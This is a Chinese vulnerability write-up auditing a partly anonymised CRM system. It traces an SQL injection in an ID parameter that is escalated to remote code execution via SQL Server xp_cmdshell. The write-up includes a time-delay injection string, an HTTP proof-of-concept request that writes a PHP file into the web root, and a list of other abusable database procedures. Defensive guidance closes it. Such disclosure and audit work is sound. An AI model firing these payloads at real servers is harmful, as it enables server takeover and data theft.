记一次某友的代码审计过程
字数 1528 2025-08-22 18:37:14
某友CRM系统前台RCE漏洞审计与分析
1. 漏洞概述
某友CRM系统存在一个前台RCE(远程代码执行)漏洞,位于bgt/xxxx.php文件中。该漏洞允许攻击者通过构造特定的SQL注入语句,利用SQL Server的xp_cmdshell功能执行任意系统命令,最终可能导致服务器被完全控制。
2. 漏洞原理
2.1 RCE漏洞基础
RCE(Remote Code Execution)远程代码执行漏洞是指攻击者能够在目标系统上远程执行任意代码的安全漏洞。通过该漏洞,攻击者可以:
- 控制服务器
- 窃取数据
- 安装恶意软件
- 使系统崩溃
2.2 本漏洞实现机制
本漏洞的特殊之处在于它通过SQL注入间接实现了RCE:
- 系统默认使用SQL Server数据库
- 存在未过滤的用户输入直接拼接到SQL语句中
- 攻击者可利用SQL Server的
xp_cmdshell扩展存储过程执行系统命令
3. 危险函数与特性
3.1 PHP危险函数
审计PHP代码时需特别注意以下危险函数:
eval()exec()system()popen()shell_exec()
3.2 SQL Server特殊功能
xp_cmdshell: 允许在操作系统中执行命令行命令- 功能:文件管理、网络查询、程序调用等
- 风险:若被恶意调用可导致服务器完全控制
4. 代码审计过程
4.1 审计准备
- 了解路由规则:通过搭建环境或抓包分析流量走向
- 定位关键文件:
bgt/xxxx.php
4.2 漏洞代码分析
关键漏洞代码如下:
$sql = 'UPDATE tc_background_task SET plan_start_time='.$gblDB->TDB_ToDateByString($timestr).' WHERE bg_task_id='.$ID;
$gblDB->execute($sql);
问题点:
$ID参数直接从用户输入获取- 未进行任何过滤或验证
- 直接拼接到SQL语句中执行
4.3 漏洞利用链
- 通过GET请求传入恶意ID参数
- 参数被拼接到UPDATE语句中
- 利用SQL Server特性执行系统命令
5. 漏洞复现
5.1 基本注入测试
构造延时注入测试:
/xxx/xxxx?ID=1;WAITFOR+DELAY+%270:0:1%27;--+%27
5.2 RCE利用POC
GET /xxx/xxxxx.php?ID=xxxx;exec%20xxxxxx_xxxxxx%20%27echo%20%5E%3C?php%20echo(%22hello%22);?%5E%3E%20%3E%20D:%5CU8SOFT%5Cturbocrm70%5Ccode%5Cwww%5Cxxx.php%27; HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsessss-
Connection: close
此POC实现了:
- 通过exec调用xp_cmdshell
- 使用echo命令写入PHP文件
- 文件内容为
<?php echo("hello");?> - 写入到web目录下
5.3 验证利用成功
直接访问写入的PHP文件,若显示"hello"则证明RCE成功。
6. 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用白名单机制验证输入格式
-
参数化查询:
- 使用预处理语句替代直接拼接SQL
- 例如PDO或mysqli的预处理功能
-
禁用危险功能:
- 禁用SQL Server的xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; -
最小权限原则:
- 数据库连接使用最小必要权限账户
- 避免使用sa等高权限账户
-
错误处理:
- 自定义错误页面
- 避免泄露系统信息
7. 审计技巧总结
- 路由分析:先了解系统路由规则有助于定位关键文件
- 危险函数追踪:全局搜索危险函数调用
- 用户输入追踪:从入口点追踪用户可控数据的流向
- 数据库特性利用:了解不同数据库的特殊功能(如SQL Server的xp_cmdshell)
- 漏洞链构造:思考如何将简单漏洞(如SQL注入)升级为更严重漏洞(如RCE)
8. 扩展思考
-
除了xp_cmdshell,SQL Server还有其他可能被利用的扩展存储过程:
sp_OACreate+sp_OAMethodxp_regwritexp_dirtree
-
类似漏洞在其他数据库中的表现:
- MySQL:
SELECT ... INTO OUTFILE - PostgreSQL:
COPY ... TO PROGRAM
- MySQL:
-
防御的深度思考:
- 除了技术层面,还需要考虑流程管控
- 代码审计应成为开发流程的必备环节
- 定期安全培训提高开发人员安全意识